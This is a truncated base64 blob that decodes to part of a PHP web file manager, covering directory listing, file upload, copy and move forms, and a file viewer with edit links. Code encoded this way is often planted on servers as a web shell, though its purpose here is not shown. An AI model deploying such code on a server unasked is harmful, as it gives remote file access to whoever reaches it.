Y2sgcGF0aFxyXG5pZiAoIWlzX2RpcigkcGF0aCkpIHtcclxuICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScpO1xyXG59XHJcblxyXG5cL1wvIGdldCBwYXJlbnQgZm9sZGVyXHJcbiRwYXJlbnQgPSBmbV9nZXRfcGFyZW50X3BhdGgoRk1fUEFUSCk7XHJcblxyXG4kb2JqZWN0cyA9IGlzX3JlYWRhYmxlKCRwYXRoKSA/IHNjYW5kaXIoJHBhdGgpIDogYXJyYXkoKTtcclxuJGZvbGRlcnMgPSBhcnJheSgpO1xyXG4kZmlsZXMgPSBhcnJheSgpO1xyXG5pZiAoaXNfYXJyYXkoJG9iamVjdHMpKSB7XHJcbiAgICBmb3JlYWNoICgkb2JqZWN0cyBhcyAkZmlsZSkge1xyXG4gICAgICAgIGlmICgkZmlsZSA9PSAnLicgfHwgJGZpbGUgPT0gJy4uJyAmJiBpbl9hcnJheSgkZmlsZSwgJEdMT0JBTFNbJ2V4Y2x1ZGVfZm9sZGVycyddKSkge1xyXG4gICAgICAgICAgICBjb250aW51ZTtcclxuICAgICAgICB9XHJcbiAgICAgICAgaWYgKCFGTV9TSE9XX0hJRERFTiAmJiBzdWJzdHIoJGZpbGUsIDAsIDEpID09PSAnLicpIHtcclxuICAgICAgICAgICAgY29udGludWU7XHJcbiAgICAgICAgfVxyXG4gICAgICAgICRuZXdfcGF0aCA9ICRwYXRoIC4gJ1wvJyAuICRmaWxlO1xyXG4gICAgICAgIGlmIChpc19maWxlKCRuZXdfcGF0aCkpIHtcclxuICAgICAgICAgICAgJGZpbGVzW10gPSAkZmlsZTtcclxuICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKCRuZXdfcGF0aCkgJiYgJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicgJiYgIWluX2FycmF5KCRmaWxlLCAkR0xPQkFMU1snZXhjbHVkZV9mb2xkZXJzJ10pKSB7XHJcbiAgICAgICAgICAgICRmb2xkZXJzW10gPSAkZmlsZTtcclxuICAgICAgICB9XHJcbiAgICB9XHJcbn1cclxuXHJcbmlmICghZW1wdHkoJGZpbGVzKSkge1xyXG4gICAgbmF0Y2FzZXNvcnQoJGZpbGVzKTtcclxufVxyXG5pZiAoIWVtcHR5KCRmb2xkZXJzKSkge1xyXG4gICAgbmF0Y2FzZXNvcnQoJGZvbGRlcnMpO1xyXG59XHJcblxyXG5cL1wvIHVwbG9hZCBmb3JtXHJcbmlmIChpc3NldCgkX0dFVFsndXBsb2FkJ10pICYmICFGTV9SRUFET05MWSkge1xyXG4gICAgZm1fc2hvd19oZWFkZXIoKTsgXC9cLyBIRUFERVJcclxuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IFwvXC8gY3VycmVudCBwYXRoXHJcbiAgICA/PlxyXG4gICAgPGRpdiBjbGFzcz1cInBhdGhcIj5cclxuICAgICAgICA8cD48Yj5VcGxvYWRpbmcgZmlsZXM8XC9iPjxcL3A+XHJcbiAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+RGVzdGluYXRpb24gZm9sZGVyOiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gRk1fUEFUSCkpID8+PFwvcD5cclxuICAgICAgICA8Zm9ybSBhY3Rpb249XCJcIiBtZXRob2Q9XCJwb3N0XCIgZW5jdHlwZT1cIm11bHRpcGFydFwvZm9ybS1kYXRhXCI+XHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInBcIiB2YWx1ZT1cIjw/cGhwIGVjaG8gZm1fZW5jKEZNX1BBVEgpID8+XCI+XHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiaGlkZGVuXCIgbmFtZT1cInVwbFwiIHZhbHVlPVwiMVwiPlxyXG4gICAgICAgICAgICA8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkW11cIj48YnI+XHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiZmlsZVwiIG5hbWU9XCJ1cGxvYWRbXVwiPjxicj5cclxuICAgICAgICAgICAgPGlucHV0IHR5cGU9XCJmaWxlXCIgbmFtZT1cInVwbG9hZFtdXCI+PGJyPlxyXG4gICAgICAgICAgICA8aW5wdXQgdHlwZT1cImZpbGVcIiBuYW1lPVwidXBsb2FkW11cIj48YnI+XHJcbiAgICAgICAgICAgIDxpbnB1dCB0eXBlPVwiZmlsZVwiIG5hbWU9XCJ1cGxvYWRbXVwiPjxicj5cclxuICAgICAgICAgICAgPGJyPlxyXG4gICAgICAgICAgICA8cD5cclxuICAgICAgICAgICAgICAgIDxidXR0b24gdHlwZT1cInN1Ym1pdFwiIGNsYXNzPVwiYnRuXCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiBVcGxvYWQ8XC9idXR0b24+ICZuYnNwO1xyXG4gICAgICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS10aW1lcy1jaXJjbGVcIj48XC9pPiBDYW5jZWw8XC9hPjxcL2I+XHJcbiAgICAgICAgICAgIDxcL3A+XHJcbiAgICAgICAgPFwvZm9ybT5cclxuICAgIDxcL2Rpdj5cclxuICAgIDw/cGhwXHJcbiAgICBmbV9zaG93X2Zvb3RlcigpO1xyXG4gICAgZXhpdDtcclxufVxyXG5cclxuXC9cLyBjb3B5IGZvcm0gUE9TVFxyXG5pZiAoaXNzZXQoJF9QT1NUWydjb3B5J10pICYmICFGTV9SRUFET05MWSkge1xyXG4gICAgJGNvcHlfZmlsZXMgPSAkX1BPU1RbJ2ZpbGUnXTtcclxuICAgIGlmICghaXNfYXJyYXkoJGNvcHlfZmlsZXMpIHx8IGVtcHR5KCRjb3B5X2ZpbGVzKSkge1xyXG4gICAgICAgIGZtX3NldF9tc2coJ05vdGhpbmcgc2VsZWN0ZWQnLCAnYWxlcnQnKTtcclxuICAgICAgICBmbV9yZWRpcmVjdChGTV9TRUxGX1VSTCAuICc/cD0nIC4gdXJsZW5jb2RlKEZNX1BBVEgpKTtcclxuICAgIH1cclxuXHJcbiAgICBmbV9zaG93X2hlYWRlcigpOyBcL1wvIEhFQURFUlxyXG4gICAgZm1fc2hvd19uYXZfcGF0aChGTV9QQVRIKTsgXC9cLyBjdXJyZW50IHBhdGhcclxuICAgID8+XHJcbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxyXG4gICAgICAgIDxwPjxiPkNvcHlpbmc8XC9iPjxcL3A+XHJcbiAgICAgICAgPGZvcm0gYWN0aW9uPVwiXCIgbWV0aG9kPVwicG9zdFwiPlxyXG4gICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJwXCIgdmFsdWU9XCI8P3BocCBlY2hvIGZtX2VuYyhGTV9QQVRIKSA/PlwiPlxyXG4gICAgICAgICAgICA8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmaW5pc2hcIiB2YWx1ZT1cIjFcIj5cclxuICAgICAgICAgICAgPD9waHBcclxuICAgICAgICAgICAgZm9yZWFjaCAoJGNvcHlfZmlsZXMgYXMgJGNmKSB7XHJcbiAgICAgICAgICAgICAgICBlY2hvICc8aW5wdXQgdHlwZT1cImhpZGRlblwiIG5hbWU9XCJmaWxlW11cIiB2YWx1ZT1cIicgLiBmbV9lbmMoJGNmKSAuICdcIj4nIC4gUEhQX0VPTDtcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICA/PlxyXG4gICAgICAgICAgICA8cCBjbGFzcz1cImJyZWFrLXdvcmRcIj5GaWxlczogPGI+PD9waHAgZWNobyBpbXBsb2RlKCc8XC9iPiwgPGI+JywgJGNvcHlfZmlsZXMpID8+PFwvYj48XC9wPlxyXG4gICAgICAgICAgICA8cCBjbGFzcz1cImJyZWFrLXdvcmRcIj5Tb3VyY2UgZm9sZGVyOiA8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbihGTV9ST09UX1BBVEggLiAnXC8nIC4gRk1fUEFUSCkpID8+PGJyPlxyXG4gICAgICAgICAgICAgICAgPGxhYmVsIGZvcj1cImlucF9jb3B5X3RvXCI+RGVzdGluYXRpb24gZm9sZGVyOjxcL2xhYmVsPlxyXG4gICAgICAgICAgICAgICAgPD9waHAgZWNobyBGTV9ST09UX1BBVEggPz5cLzxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJjb3B5X3RvXCIgaWQ9XCJpbnBfY29weV90b1wiIHZhbHVlPVwiPD9waHAgZWNobyBmbV9lbmMoRk1fUEFUSCkgPz5cIj5cclxuICAgICAgICAgICAgPFwvcD5cclxuICAgICAgICAgICAgPHA+PGxhYmVsPjxpbnB1dCB0eXBlPVwiY2hlY2tib3hcIiBuYW1lPVwibW92ZVwiIHZhbHVlPVwiMVwiPiBNb3ZlJzxcL2xhYmVsPjxcL3A+XHJcbiAgICAgICAgICAgIDxwPlxyXG4gICAgICAgICAgICAgICAgPGJ1dHRvbiB0eXBlPVwic3VibWl0XCIgY2xhc3M9XCJidG5cIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IENvcHkgPFwvYnV0dG9uPiAmbmJzcDtcclxuICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtdGltZXMtY2lyY2xlXCI+PFwvaT4gQ2FuY2VsPFwvYT48XC9iPlxyXG4gICAgICAgICAgICA8XC9wPlxyXG4gICAgICAgIDxcL2Zvcm0+XHJcbiAgICA8XC9kaXY+XHJcbiAgICA8P3BocFxyXG4gICAgZm1fc2hvd19mb290ZXIoKTtcclxuICAgIGV4aXQ7XHJcbn1cclxuXHJcblwvXC8gY29weSBmb3JtXHJcbmlmIChpc3NldCgkX0dFVFsnY29weSddKSAmJiAhaXNzZXQoJF9HRVRbJ2ZpbmlzaCddKSAmJiAhRk1fUkVBRE9OTFkpIHtcclxuICAgICRjb3B5ID0gJF9HRVRbJ2NvcHknXTtcclxuICAgICRjb3B5ID0gZm1fY2xlYW5fcGF0aCgkY29weSk7XHJcbiAgICBpZiAoJGNvcHkgPT0gJycgfHwgIWZpbGVfZXhpc3RzKEZNX1JPT1RfUEFUSCAuICdcLycgLiAkY29weSkpIHtcclxuICAgICAgICBmbV9zZXRfbXNnKCdGaWxlIG5vdCBmb3VuZCcsICdlcnJvcicpO1xyXG4gICAgICAgIGZtX3JlZGlyZWN0KEZNX1NFTEZfVVJMIC4gJz9wPScgLiB1cmxlbmNvZGUoRk1fUEFUSCkpO1xyXG4gICAgfVxyXG5cclxuICAgIGZtX3Nob3dfaGVhZGVyKCk7IFwvXC8gSEVBREVSXHJcbiAgICBmbV9zaG93X25hdl9wYXRoKEZNX1BBVEgpOyBcL1wvIGN1cnJlbnQgcGF0aFxyXG4gICAgPz5cclxuICAgIDxkaXYgY2xhc3M9XCJwYXRoXCI+XHJcbiAgICAgICAgPHA+PGI+Q29weWluZzxcL2I+PFwvcD5cclxuICAgICAgICA8cCBjbGFzcz1cImJyZWFrLXdvcmRcIj5cclxuICAgICAgICAgICAgU291cmNlIHBhdGg6IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1JPT1RfUEFUSCAuICdcLycgLiAkY29weSkpID8+PGJyPlxyXG4gICAgICAgICAgICBEZXN0aW5hdGlvbiBmb2xkZXI6IDw/cGhwIGVjaG8gZm1fZW5jKGZtX2NvbnZlcnRfd2luKEZNX1JPT1RfUEFUSCAuICdcLycgLiBGTV9QQVRIKSkgPz5cclxuICAgICAgICA8XC9wPlxyXG4gICAgICAgIDxwPlxyXG4gICAgICAgICAgICA8Yj48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+JmFtcDtmaW5pc2g9MVwiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT4gQ29weTxcL2E+PFwvYj4gJm5ic3A7XHJcbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz4mYW1wO2ZpbmlzaD0xJmFtcDttb3ZlPTFcIj48aSBjbGFzcz1cImZhIGZhLWNoZWNrLWNpcmNsZVwiPjxcL2k+IE1vdmU8XC9hPjxcL2I+ICZuYnNwO1xyXG4gICAgICAgICAgICA8Yj48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz5cIj48aSBjbGFzcz1cImZhIGZhLXRpbWVzLWNpcmNsZVwiPjxcL2k+IENhbmNlbDxcL2E+PFwvYj5cclxuICAgICAgICA8XC9wPlxyXG4gICAgICAgIDxwPjxpPlNlbGVjdCBmb2xkZXI8XC9pPjxcL3A+XHJcbiAgICAgICAgPHVsIGNsYXNzPVwiZm9sZGVycyBicmVhay13b3JkXCI+XHJcbiAgICAgICAgICAgIDw/cGhwXHJcbiAgICAgICAgICAgIGlmICgkcGFyZW50ICE9PSBmYWxzZSkge1xyXG4gICAgICAgICAgICAgICAgPz5cclxuICAgICAgICAgICAgICAgIDxsaT48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoJHBhcmVudCkgPz4mYW1wO2NvcHk9PD9waHAgZWNobyB1cmxlbmNvZGUoJGNvcHkpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0XCI+PFwvaT4gLi48XC9hPjxcL2xpPlxyXG4gICAgICAgICAgICA8P3BocFxyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgICAgIGZvcmVhY2ggKCRmb2xkZXJzIGFzICRmKSB7XHJcbiAgICAgICAgICAgICAgICA/PlxyXG4gICAgICAgICAgICAgICAgPGxpPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEggLiAnXC8nIC4gJGYsICdcLycpKSA/PiZhbXA7Y29weT08P3BocCBlY2hvIHVybGVuY29kZSgkY29weSkgPz5cIj48aSBjbGFzcz1cImZhIGZhLWZvbGRlci1vXCI+PFwvaT4gPD9waHAgZWNobyBmbV9jb252ZXJ0X3dpbigkZikgPz48XC9hPjxcL2xpPlxyXG4gICAgICAgICAgICA8P3BocFxyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgICAgID8+XHJcbiAgICAgICAgPFwvdWw+XHJcbiAgICA8XC9kaXY+XHJcbiAgICA8P3BocFxyXG4gICAgZm1fc2hvd19mb290ZXIoKTtcclxuICAgIGV4aXQ7XHJcbn1cclxuXHJcblwvXC8gZmlsZSB2aWV3ZXJcclxuaWYgKGlzc2V0KCRfR0VUWyd2aWV3J10pKSB7XHJcbiAgICAkZmlsZSA9ICRfR0VUWyd2aWV3J107XHJcbiAgICAkZmlsZSA9IGZtX2NsZWFuX3BhdGgoJGZpbGUpO1xyXG4gICAgJGZpbGUgPSBzdHJfcmVwbGFjZSgnXC8nLCAnJywgJGZpbGUpO1xyXG4gICAgaWYgKCRmaWxlID09ICcnIHx8ICFpc19maWxlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xyXG4gICAgICAgIGZtX3NldF9tc2coJ0ZpbGUgbm90IGZvdW5kJywgJ2Vycm9yJyk7XHJcbiAgICAgICAgZm1fcmVkaXJlY3QoRk1fU0VMRl9VUkwgLiAnP3A9JyAuIHVybGVuY29kZShGTV9QQVRIKSk7XHJcbiAgICB9XHJcblxyXG4gICAgZm1fc2hvd19oZWFkZXIoKTsgXC9cLyBIRUFERVJcclxuICAgIGZtX3Nob3dfbmF2X3BhdGgoRk1fUEFUSCk7IFwvXC8gY3VycmVudCBwYXRoXHJcblxyXG4gICAgJGZpbGVfdXJsID0gRk1fUk9PVF9VUkwgLiBmbV9jb252ZXJ0X3dpbigoRk1fUEFUSCAhPSAnJyA/ICdcLycgLiBGTV9QQVRIIDogJycpIC4gJ1wvJyAuICRmaWxlKTtcclxuICAgICRmaWxlX3BhdGggPSAkcGF0aCAuICdcLycgLiAkZmlsZTtcclxuXHJcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkZmlsZV9wYXRoLCBQQVRISU5GT19FWFRFTlNJT04pKTtcclxuICAgICRtaW1lX3R5cGUgPSBmbV9nZXRfbWltZV90eXBlKCRmaWxlX3BhdGgpO1xyXG4gICAgJGZpbGVzaXplID0gZmlsZXNpemUoJGZpbGVfcGF0aCk7XHJcblxyXG4gICAgJGlzX3ppcCA9IGZhbHNlO1xyXG4gICAgJGlzX2ltYWdlID0gZmFsc2U7XHJcbiAgICAkaXNfYXVkaW8gPSBmYWxzZTtcclxuICAgICRpc192aWRlbyA9IGZhbHNlO1xyXG4gICAgJGlzX3RleHQgPSBmYWxzZTtcclxuXHJcbiAgICAkdmlld190aXRsZSA9ICdGaWxlJztcclxuICAgICRmaWxlbmFtZXMgPSBmYWxzZTsgXC9cLyBmb3IgemlwXHJcbiAgICAkY29udGVudCA9ICcnOyBcL1wvIGZvciB0ZXh0XHJcblxyXG4gICAgaWYgKCRleHQgPT0gJ3ppcCcpIHtcclxuICAgICAgICAkaXNfemlwID0gdHJ1ZTtcclxuICAgICAgICAkdmlld190aXRsZSA9ICdBcmNoaXZlJztcclxuICAgICAgICAkZmlsZW5hbWVzID0gZm1fZ2V0X3ppZl9pbmZvKCRmaWxlX3BhdGgpO1xyXG4gICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF9pbWFnZV9leHRzKCkpKSB7XHJcbiAgICAgICAgJGlzX2ltYWdlID0gdHJ1ZTtcclxuICAgICAgICAkdmlld190aXRsZSA9ICdJbWFnZSc7XHJcbiAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGV4dCwgZm1fZ2V0X2F1ZGlvX2V4dHMoKSkpIHtcclxuICAgICAgICAkaXNfYXVkaW8gPSB0cnVlO1xyXG4gICAgICAgICR2aWV3X3RpdGxlID0gJ0F1ZGlvJztcclxuICAgIH0gZWxzZWlmIChpbl9hcnJheSgkZXh0LCBmbV9nZXRfdmlkZW9fZXh0cygpKSkge1xyXG4gICAgICAgICRpc192aWRlbyA9IHRydWU7XHJcbiAgICAgICAgJHZpZXdfdGl0bGUgPSAnVmlkZW8nO1xyXG4gICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsIGZtX2dldF90ZXh0X2V4dHMoKSkgfHwgc3Vic3RyKCRtaW1lX3R5cGUsIDAsIDQpID09ICd0ZXh0JyB8fCBpbl9hcnJheSgkbWltZV90eXBlLCBmbV9nZXRfdGV4dF9taW1lcygpKSkge1xyXG4gICAgICAgICRpc190ZXh0ID0gdHJ1ZTtcclxuICAgICAgICAkY29udGVudCA9IGZpbGVfZ2V0X2NvbnRlbnRzKCRmaWxlX3BhdGgpO1xyXG4gICAgfVxyXG5cclxuICAgID8+XHJcbiAgICA8ZGl2IGNsYXNzPVwicGF0aFwiPlxyXG4gICAgICAgIDxwIGNsYXNzPVwiYnJlYWstd29yZFwiPjxiPjw/cGhwIGVjaG8gJHZpZXdfdGl0bGUgPz4gXCI8P3BocCBlY2hvIGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZSkpID8+XCI8XC9iPjxcL3A+XHJcbiAgICAgICAgPHAgY2xhc3M9XCJicmVhay13b3JkXCI+XHJcbiAgICAgICAgICAgIEZ1bGwgcGF0aDogPD9waHAgZWNobyBmbV9lbmMoZm1fY29udmVydF93aW4oJGZpbGVfcGF0aCkpID8+PGJyPlxyXG4gICAgICAgICAgICBGaWxlIHNpemU6IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCRmaWxlc2l6ZSkgPz48P3BocCBpZiAoJGZpbGVzaXplID49IDEwMDApOiA/PiAoPD9waHAgZWNobyBzcHJpbnRmKCclcyBieXRlcycsICRmaWxlc2l6ZSkgPz4pPD9waHAgZW5kaWY7ID8+PGJyPlxyXG4gICAgICAgICAgIE1JTUUtdHlwZTogPD9waHAgZWNobyAkbWltZV90eXBlID8+PGJyPlxyXG4gICAgICAgICAgICA8P3BocFxyXG4gICAgICAgICAgICBcL1wvIFpJUCBpbmZvXHJcbiAgICAgICAgICAgIGlmICgkaXNfemlwICYmICRmaWxlbmFtZXMgIT09IGZhbHNlKSB7XHJcbiAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMgPSAwO1xyXG4gICAgICAgICAgICAgICAgJHRvdGFsX2NvbXAgPSAwO1xyXG4gICAgICAgICAgICAgICAgJHRvdGFsX3VuY29tcCA9IDA7XHJcbiAgICAgICAgICAgICAgICBmb3JlYWNoICgkZmlsZW5hbWVzIGFzICRmbikge1xyXG4gICAgICAgICAgICAgICAgICAgIGlmICghJGZuWydmb2xkZXInXSkge1xyXG4gICAgICAgICAgICAgICAgICAgICAgICAkdG90YWxfZmlsZXMrKztcclxuICAgICAgICAgICAgICAgICAgICB9XHJcbiAgICAgICAgICAgICAgICAgICAgJHRvdGFsX2NvbXAgKz0gJGZuWydjb21wcmVzc2VkX3NpemUnXTtcclxuICAgICAgICAgICAgICAgICAgICAkdG90YWxfdW5jb21wICs9ICRmblsnZmlsZXNpemUnXTtcclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgICAgID8+XHJcbiAgICAgICAgICAgICAgICBGaWxlcyBpbiBhcmNoaXZlOiA8P3BocCBlY2hvICR0b3RhbF9maWxlcyA/Pjxicj5cclxuICAgICAgICAgICAgICAgIFRvdGFsIHNpemU6IDw/cGhwIGVjaG8gZm1fZ2V0X2ZpbGVzaXplKCR0b3RhbF91bmNvbXApID8+PGJyPlxyXG4gICAgICAgICAgICAgICAgU2l6ZSBpbiBhcmNoaXZlOiA8P3BocCBlY2hvIGZtX2dldF9maWxlc2l6ZSgkdG90YWxfY29tcCkgPz48YnI+XHJcbiAgICAgICAgICAgICAgICBDb21wcmVzc2lvbjogPD9waHAgZWNobyByb3VuZCgoJHRvdGFsX2NvbXAgXC8gJHRvdGFsX3VuY29tcCkgKiAxMDApID8+JTxicj5cclxuICAgICAgICAgICAgICAgIDw/cGhwXHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgXC9cLyBJbWFnZSBpbmZvXHJcbiAgICAgICAgICAgIGlmICgkaXNfaW1hZ2UpIHtcclxuICAgICAgICAgICAgICAgICRpbWFnZV9zaXplID0gZ2V0aW1hZ2VzaXplKCRmaWxlX3BhdGgpO1xyXG4gICAgICAgICAgICAgICAgZWNobyAnSW1hZ2Ugc2l6ZXM6ICcgLiAoaXNzZXQoJGltYWdlX3NpemVbMF0pID8gJGltYWdlX3NpemVbMF0gOiAnMCcpIC4gJyB4ICcgLiAoaXNzZXQoJGltYWdlX3NpemVbMV0pID8gJGltYWdlX3NpemVbMV0gOiAnMCcpIC4gJzxicj4nO1xyXG4gICAgICAgICAgICB9XHJcbiAgICAgICAgICAgIFwvXC8gVGV4dCBpbmZvXHJcbiAgICAgICAgICAgIGlmICgkaXNfdGV4dCkge1xyXG4gICAgICAgICAgICAgICAgJGlzX3V0ZjggPSBmbV9pc191dGY4KCRjb250ZW50KTtcclxuICAgICAgICAgICAgICAgIGlmIChmdW5jdGlvbl9leGlzdHMoJ2ljb252JykpIHtcclxuICAgICAgICAgICAgICAgICAgICBpZiAoISRpc191dGY4KSB7XHJcbiAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gaWNvbnYoRk1fSUNPTlZfSU5QVVRfRU5DLCAnVVRGLThcL1wvSUdOT1JFJywgJGNvbnRlbnQpO1xyXG4gICAgICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgICAgIGVjaG8gJ0NoYXJzZXQ6ICcgLiAoJGlzX3V0ZjggPyAndXRmLTgnIDogJzggYml0JykgLiAnPGJyPic7XHJcbiAgICAgICAgICAgIH1cclxuICAgICAgICAgICAgPz5cclxuICAgICAgICA8XC9wPlxyXG4gICAgICAgIDxwPlxyXG4gICAgICAgICAgICA8Yj48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO2RsPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2xvdWQtZG93bmxvYWRcIj48XC9pPiBEb3dubG9hZDxcL2E+PFwvYj4gJm5ic3A7XHJcbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI8P3BocCBlY2hvIGZtX2VuYygkZmlsZV91cmwpID8+XCIgdGFyZ2V0PVwiX2JsYW5rXCI+PGkgY2xhc3M9XCJmYSBmYS1leHRlcm5hbC1saW5rLXNxdWFyZVwiPjxcL2k+IE9wZW48XC9hPjxcL2I+ICZuYnNwO1xyXG4gICAgICAgICAgICA8P3BocFxyXG4gICAgICAgICAgICBcL1wvIFpJUCBhY3Rpb25zXHJcbiAgICAgICAgICAgIGlmICghRk1fUkVBRE9OTFkgJiYgJGlzX3ppcCAmJiAkZmlsZW5hbWVzICE9PSBmYWxzZSkge1xyXG4gICAgICAgICAgICAgICAgJHppcF9uYW1lID0gcGF0aGluZm8oJGZpbGVfcGF0aCwgUEFUSElORk9fRklMRU5BTUUpO1xyXG4gICAgICAgICAgICAgICAgPz5cclxuICAgICAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZShGTV9QQVRIKSA/PiZhbXA7dW56aXA9PD9waHAgZWNobyB1cmxlbmNvZGUoJGZpbGUpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGVjay1jaXJjbGVcIj48XC9pPiBVblppcDxcL2E+PFwvYj4gJm5ic3A7XHJcbiAgICAgICAgICAgICAgICA8Yj48YSBocmVmPVwiP3A9PD9waHAgZWNobyB1cmxlbmNvZGUoRk1fUEFUSCkgPz4mYW1wO3VuemlwPTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PiZhbXA7dG9mb2xkZXI9MVwiIHRpdGxlPVwiVW5aaXAgdG8gPD9waHAgZWNobyBmbV9lbmMoJHppcF9uYW1lKSA/PlwiPjxpIGNsYXNzPVwiZmEgZmEtY2hlY2stY2lyY2xlXCI+PFwvaT5cclxuICAgICAgICAgICAgICAgICAgICBVblppcCB0byBmb2xkZXI8XC9hPjxcL2I+ICZuYnNwO1xyXG4gICAgICAgICAgICAgICAgPD9waHBcclxuICAgICAgICAgICAgfVxyXG4gICAgICAgICAgICBpZigkaXNfdGV4dCAmJiAhRk1fUkVBRE9OTFkpIHtcclxuICAgICAgICAgICAgPz5cclxuICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKHRyaW0oRk1fUEFUSCkpID8+JmFtcDtlZGl0PTw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PlwiIGNsYXNzPVwiZWRpdC1maWxlXCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlXCI+PFwvaT4gRWRpdDxcL2E+PFwvYj4gJm5ic3A7XHJcbiAgICAgICAgICAgIDxiPjxhIGhyZWY9XCI/cD08P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1BBVEgpKSA/PiZhbXA7ZWRpdD08P3BocCBlY2hvIHVybGVuY29kZSgkZmlsZSkgPz4mZW52PWFjZVwiIGNsYXNzPVwiZWRpdC1maWxlXCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlXCI+PFwvaT4gQWR2YW5jZWQgRWRpdDxcL2E+PFwvYj4gJm5ic3A7XHJcbiAgICAgICAgICAgIDw/cGhwIH1cclxuICAgICAgICAgICAgaWYoJHNlbmRfbWFpbCAmJiAhRk1fUkVBRE9OTFkpIHtcclxuICAgICAgICAgICAgPz5cclxuICAgICAgICAgICAgPGI+PGEgaHJlZj1cImphdmFzY3JpcHQ6bWFpbHRvKCc8P3BocCBlY2hvIHVybGVuY29kZSh0cmltKEZNX1JPT1RfUEFUSC4nXC8nLkZNX1BBVEgpKSA/PicsJzw/cGhwIGVjaG8gdXJsZW5jb2RlKCRmaWxlKSA/PicpXCI+PGkgY2xhc3M9XCJmYSBmYS1wZW5jaWwtc3F1YXJlXCI+PFwvaT4gTWFpbDxcL2E+PFwvYj4gJm5ic3A7XHJcbiAgICAgICAgICAgIDw/cGhwIH0gPz5cclxuICAgICAgICAgICAgPGI+PGEgaHJlZj1cIj9wPTw/cGhwIGVjaG8gdXJsZW5jb2RlKEZNX1BBVEgpID8+XCI+PGkgY2xhc3M9XCJmYSBmYS1jaGV2cm9uLWNpcmNsZS1sZWZ0XCI+PFwvaT4gQmFjazxcL2E+PFwvYj5cclxuICAgICAgICA8XC9wPlxyXG4gICAgICAgIDw/cGhwXHJcbiAgICAgICAgaWYgKCRpc196aXApIHtcclxuICAgICAgICAgICAgXC9cLyBaSVAgY29udGVudFxyXG4gICAgICAgICAgICBpZiAoJGZpbGVuYW1lcyAhPT0gZmFsc2UpIHtcclxuICAgICAgICAgICAgICAgIGVjaG8gJzxjb2R